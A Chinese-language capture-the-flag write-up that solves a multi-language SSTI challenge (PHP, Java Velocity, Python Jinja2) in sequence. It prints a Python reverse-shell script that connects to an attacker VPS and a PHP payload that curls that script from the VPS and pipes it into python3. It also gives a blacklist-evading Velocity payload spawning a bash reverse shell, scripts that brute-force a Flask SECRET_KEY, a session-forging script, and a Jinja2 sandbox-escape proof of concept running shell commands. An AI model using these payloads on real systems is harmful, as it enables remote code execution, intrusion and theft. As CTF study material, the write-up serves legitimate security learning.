0x01 什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),服务器接收用户命令,然后后端对命令渲染,将恶意代码作为Web模板的一部分,和其他注入(XSS等)比较类似。常见于Python环境。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
0x02 PHP
打开题目,只有一个搜索框。用HackBar简单执行一下python的payload,在自己的VPS上开指定端口,发现有请求访问,说明存在注入:
能访问就好说了,在自己的VPS上新建一个py脚本rev.py:
1 2 3 4 5 6 7
| import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((your_vps_ip,vps_port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
|
新建一个vps的shell,用nc监听脚本预设的端口,然后让目标机器反弹shell:
http://eci-2ze7xhzqb362wx6m2wqs.cloudeci1.ichunqiu.com:8888/?username={system('curl -l http://your_vps_ir:port/rev.py | python3 ')}
在根目录下找到flag,但是只有php的可以读取:
0x03 Java
本来想用php的shell进python目录上传一句话拿shell的,结果发现没有权限……只能通过curl上传文件获得java目录里的jar文件源码。
打开源码后发现黑名单,可以针对黑名单进行绕过:
构造payload获取java的shell,需要注意的是,如果你这里也是用curl来反弹shell的话,要把监听php那个shell先退出才能收到java的shell:
%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,这里是getshell的base64语句}|{base64,-d}|{bash,-i}")
执行语句后收到java部分的flag:
0x04 Python
读取python目录下的app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from flask import Flask, render_template, request, render_template_string import requests import uuid
app = Flask(__name__) SECRET_KEY = str(uuid.uuid4())[:12] numbers_str = [str(x) for x in range(10)] black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for', 'get_flashed_messages', 'range', 'dict', 'joiner'] black_list += numbers_str
app.config.update(dict( SECRET_KEY=SECRET_KEY, ))
def waf(name): for x in black_list: if x in name.lower(): return True return False
@app.route('/') def index(): name = request.args.get("username") if name is not None: text1 = requests.get("http://127.0.0.1:7410/", params={"username": name}).text text2 = requests.get("http://127.0.0.1:8080/", params={"username": name}).text if waf(name): return render_template('404.html'), 404 render_str = render_template_string(name) if text1 == render_str and text2 == render_str: return render_str else: return render_template('404.html'), 404 render_str = render_template_string(name) return render_str return render_template('index.html')
@app.errorhandler(404) def page_not_found(e): return render_template('404.html'), 404
if __name__ == '__main__': app.run("0.0.0.0", 8888)
|
发现SECRET_KEY是随机产生的,而且过滤了数字和字符串拼接,所以这里可以利用伪造session来进行构造任意字符串。
这里可以通过伪造php和java的服务来本地比较得到key。
leak.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
if(!is_file("tmp_code")){ file_put_contents("tmp_code","-"); } $code="-0123456789abcdef"; if(strpos($_GET["username"],'code') !== false){ file_put_contents("code",$_GET["username"][0],FILE_APPEND); file_put_contents("tmp_code","-"); }else{ $tmp_code = file_get_contents("tmp_code"); echo $tmp_code; file_put_contents("tmp_code",$code[(strpos($code,$tmp_code)+1)%17]); } ?>
|
leak.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests
url="http://127.0.0.1:8888/" code="-0123456789abcdef" f="" for x in range(12): cut = (11-x)*'-config.JSON_SORT_KEYS' leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)"+cut+"]}}" for y in code: text=requests.get(url,params={"username":leak_temp}).text if ">404<" in text: pass else: requests.get(url,params={"username":y+"code"}) f+=y print(f) break
|
然后在php的shell里kill掉php服务,之后退出shell;再在java的shell里kill掉java进程。再把上面的leak.php写入到tmp下,把leak.py写到vps的目录下。
在自己的vps上运行leak.py:
然后利用爆破出的key伪造session:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from flask import Flask from flask.sessions import SecureCookieSessionInterface import base64 import pickle
app = Flask(__name__) app.secret_key = "8a8cf74c-0d2"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
def index(): a={"cs":"__class__","bs":"__base__","sub":"__subclasses__","num":190,"it":"__init__","gb":"__globals__","bt":"__builtins__","el":"eval","cmd":"__import__('os').popen('cat /python_flag > /tmp/python_flag').read()"} print(session_serializer.dumps(a))
index()
|
构造python模板的poc:
{{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}
在header头里添加cookie字段伪造得到的session,发送数据包即可在tmp目录下找到python_flag:
0x05 Getflag
三段拼接即可得到flag,提交完事: